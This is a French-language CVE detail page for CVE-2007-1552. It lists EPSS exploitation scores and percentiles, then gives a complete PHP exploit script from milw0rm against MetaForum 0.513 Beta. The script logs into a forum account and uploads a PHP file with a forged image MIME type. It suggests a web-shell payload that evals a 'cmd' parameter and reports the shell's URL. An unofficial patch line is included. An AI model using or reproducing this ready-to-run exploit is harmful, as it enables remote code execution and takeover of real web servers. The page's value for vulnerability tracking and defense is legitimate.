CVE-2007-1552 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	15.61%	–	–
2022-04-03	–	–	15.61%	–	–
2023-03-12	–	–	–	13.92%	–
2023-11-12	–	–	–	12.8%	–
2023-12-17	–	–	–	12.43%	–
2024-06-02	–	–	–	12.43%	–
2024-08-11	–	–	–	12.43%	–
2024-12-22	–	–	–	11.07%	–
2025-01-19	–	–	–	11.07%	–
2025-03-18	–	–	–	–	6.91%
2025-03-18	–	–	–	–	6.91,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	93%
2022-04-03	96%
2023-03-12	95%
2023-11-12	95%
2023-12-17	95%
2024-06-02	95%
2024-08-11	96%
2024-12-22	95%
2025-01-19	95%
2025-03-18	91%
2025-03-18	91%

<?php /*---------------------------------------------------------*\ MetaForum <= 0.513 Beta - Remote file upload Vulnerability [|Description:|] A security bug has been discovered in MetaForum 0.513 Beta. This bug can be used by an attacker to upload a malicious php file on the server. During the upload, the MIME type of the file is the only verified parameter. The extention isn't. This enables a attacker to fake the MIME type of a php file so that it is considered as an image. [|Advisory:|] http://www.aeroxteam.fr/advisory-MetaForum-0.513b.txt [|Solution:|] (unofficial) Replace line 110 in the file usercp.php by: if (($_FILES['imagefile']['type'] == "image/jpeg" || $_FILES['imagefile']['type'] == "image/pjpeg" || $_FILES['imagefile']['type'] == "image/png" || $_FILES['imagefile']['type'] == "image/gif") && in_array(strtolower(substr(strrchr($_FILES['imagefile']['name'], '.'),1)), array('gif', 'jpg', 'jpeg', 'png'))) C0d3d by Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com) for AeroX & NeoAlpha (AeroXteam.fr -- Neoalpha.fr) (C)opyleft 2007 Gr33tz: Math., Syntax ERROR, Barma, NeoMorphS, Snake91, Spamm, Kad, Nitr0, Jethro And everybody from #aerox \*---------------------------------------------------------*/ if(count($argv) == 6) { head(); echo "PHP code to write (ex: <?php eval(stripslashes(\$_GET['cmd'])); ?>) :\r\n"; $phpcode = trim(fgets(STDIN)); echo "\r\n[+] Connection... "; $sock = @fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } echo "OK\r\n"; echo "[+] Login to account... "; $reqlogin = "POST ".$argv[2]."index.php?shard=login&action=proc_login HTTP/1.1\r\n"; $reqlogin .= "Host: ".$argv[1]."\r\n"; $reqlogin .= "Accept: */*\r\n"; $reqlogin .= "Connection: Close\r\n"; $reqlogin .= "Content-Type: application/x-www-form-urlencoded\r\n"; $reqlogin .= "Content-Length: ".strlen("login_name=".$argv[3]."&login_pass=".$argv[4])."\r\n\r\n"; $reqlogin .= "login_name=".$argv[3]."&login_pass=".$argv[4]; fwrite($sock, $reqlogin); while(!feof($sock)) { $buffer = fgets($sock); if(preg_match("`Set-Cookie: ".$argv[5]."userID=(.*?);`", $buffer, $idtmp)) { $id = $idtmp[1]; } } if(empty($id)) { die("Failed\r\n\r\nCould not login as ".$argv[3]." !"); } else { echo "OK\r\n"; } fclose($sock); echo "[+] Sending of the file... "; $sock = @fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $requp = "POST ".$argv[2]."index.php?shard=usercp&action=g_avatar HTTP/1.1\r\n"; $requp .= "Host: ".$argv[1]."\r\n"; $requp .= "Accept: */*\r\n"; $requp .= "Connection: Close\r\n"; $requp .= "Cookie: ".$argv[5]."username=".$argv[3]."; ".$argv[5]."userID=".$id."; ".$argv[5]."password=".sha1($argv[4])."\r\n"; $requp .= "Content-Type: multipart/form-data; boundary=--------------268742553814512\r\n"; $requp2 .= "----------------268742553814512\r\n"; $requp2 .= "Content-Disposition: form-data; name=\"upload_flag\";\r\n\r\n"; $requp2 .= "true\r\n"; $requp2 .= "----------------268742553814512\r\n"; $requp2 .= "Content-Disposition: form-data; name=\"imagefile\"; filename=\"owned.php\";\r\n"; $requp2 .= "Content-Type: image/jpeg\r\n\r\n"; $requp2 .= $phpcode."\r\n"; $requp2 .= "----------------268742553814512\r\n"; $requp2 .= "Content-Disposition: form-data; name=\"Submit\";\r\n\r\n"; $requp2 .= "Submit\r\n"; $requp2 .= "----------------268742553814512--\r\n"; $requp .= "Content-Length: ".strlen($requp2)."\r\n\r\n"; $requp .= $requp2; fwrite($sock, $requp); while(!feof($sock)) { if(preg_match("`<img src='images/".$argv[3].".php'`", fgets($sock))) { $ok = 1; } } if($ok == 1) { echo "OK\r\n\r\nYou can access the file at:\r\nhttp://".$argv[1].$argv[2]."images/".$argv[3].".php\r\n\r\nThank for using this exploit !"; } else { die("Failed\r\n\r\nMaybe not vulnerable ?!"); } } else { usage(); } function usage() { echo "+----------------------------------------------------------------+\r\n"; echo "| MetaForum <= 0.513_beta Remote file upload |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX & NeoAlpha |\r\n"; echo "| Usage: php exploit.php site.com /path/ user pass cookie_prefix |\r\n"; echo "+----------------------------------------------------------------+\r\n"; } function head() { echo "+----------------------------------------------+\r\n"; echo "| MetaForum <= 0.513_beta Remote file upload |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX & NeoAlpha |\r\n"; echo "+----------------------------------------------+\r\n\r\n"; } ?> # milw0rm.com [2007-03-19]